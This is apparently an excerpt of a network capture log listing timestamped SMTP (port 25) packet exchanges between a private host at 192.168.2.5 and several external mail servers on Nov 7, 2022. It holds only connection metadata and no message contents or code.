Nov 7, 2022 22:24:22.007050037 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007081985 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007096052 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007114887 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007138014 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007162094 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007180929 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007194996 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007221937 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007232904 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007265091 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007271051 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007308006 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007342100 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007348061 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007376909 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007389069 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007410049 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007430077 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007443905 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007473946 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007493973 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007517099 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007529020 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007559061 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007591963 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007599115 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007630110 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007641077 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007662058 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007683992 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007693052 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007728100 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007746935 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007770061 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007781029 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007812977 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007819891 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007854939 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007882118 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007894993 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007917881 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007935047 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007950068 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007978916 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007997036 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008021116 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008029938 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008064985 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008078098 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008111954 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008121014 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008155107 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008167028 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008198023 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008219957 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008241892 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008255005 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008284092 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008306980 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008328915 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008349895 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.008372068 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008411884 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008439064 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008465052 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008490086 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008514881 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008541107 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008565903 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008591890 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008619070 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008644104 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008668900 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008696079 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008722067 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008748055 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008774042 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008799076 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008826017 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008852005 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008877993 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008903027 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008929014 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008953094 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.008980989 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.009006977 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.009032965 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.019197941 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.019258976 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.019301891 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.019357920 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.019357920 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.019422054 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.019463062 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.019486904 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.019526005 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.025547028 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.035442114 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035490036 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035516024 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035537958 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035553932 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035579920 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035600901 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035624981 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035646915 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035670042 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035693884 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035717010 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035739899 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035763025 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035784960 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035845995 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035927057 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.035989046 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036032915 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036124945 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036195993 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036231995 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036317110 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036354065 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036438942 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036524057 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036540031 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036556005 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036648035 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036664009 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036679983 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036695004 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036722898 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036739111 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036753893 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036856890 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036880970 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.036905050 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037117004 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037143946 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037164927 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037187099 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037250042 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037271976 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037362099 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037403107 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037631035 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037699938 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037723064 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037746906 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037769079 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037803888 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037897110 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037934065 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037955999 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.037980080 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038090944 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038125992 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038167953 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038203955 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038240910 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038264990 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038347006 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038395882 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038476944 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038523912 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038562059 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038642883 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038726091 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038794041 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038815022 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038918972 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.038981915 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039000034 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039016962 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039149046 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039165974 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039207935 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039225101 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039284945 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039381981 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039397955 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039413929 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039463043 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039482117 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039498091 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039628029 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039644957 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039663076 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039717913 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039735079 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039750099 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039817095 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039940119 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039961100 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039978027 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.039994955 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040010929 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040025949 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040100098 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040118933 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040134907 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040149927 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040167093 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040183067 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.040299892 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.059784889 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.059917927 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.063803911 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:22.076766968 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.076809883 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.076838017 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.076857090 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.076900959 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.076900959 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.076948881 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.076978922 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077023983 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077143908 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077172041 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077197075 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077214956 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077214956 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077223063 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077251911 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077270985 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077270985 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077372074 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077405930 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077435970 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077461958 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077469110 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077486992 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077488899 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077508926 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077544928 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.077644110 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077755928 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.077837944 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.117209911 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.117245913 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.117296934 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.117527008 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.134320021 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.134483099 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.134660006 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.134690046 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.134754896 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.134757042 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.134798050 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.134831905 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.134912014 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135027885 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135081053 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135103941 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135148048 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135166883 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135677099 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135766029 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135781050 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135802984 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135824919 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135845900 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135862112 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135867119 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135890007 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135896921 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135896921 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135896921 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135936022 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135948896 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.135952950 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135977030 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.135999918 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.136015892 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.136020899 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.136034966 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.136034966 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.136111975 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.136181116 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.136241913 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.139836073 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:22.148864031 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.175232887 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.175290108 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.175319910 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.175350904 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.175393105 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.175393105 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.175393105 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.175481081 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192008972 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192068100 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192097902 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192099094 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192127943 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192147970 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192147970 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192172050 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192279100 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192308903 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192343950 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192358017 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192373991 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192394018 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192410946 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192428112 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192462921 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192493916 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192522049 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192599058 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192599058 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192631960 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192734003 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192763090 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192792892 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.192802906 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192845106 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.192902088 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193008900 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193085909 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193193913 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193289042 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193368912 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193439007 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193604946 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193636894 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193661928 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193691969 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193715096 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193883896 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193900108 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193912029 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193939924 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193969011 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.193981886 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.193981886 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.194001913 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.194013119 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.194041014 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.194076061 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.194129944 CET	25	49719	217.69.139.150	192.168.2.5
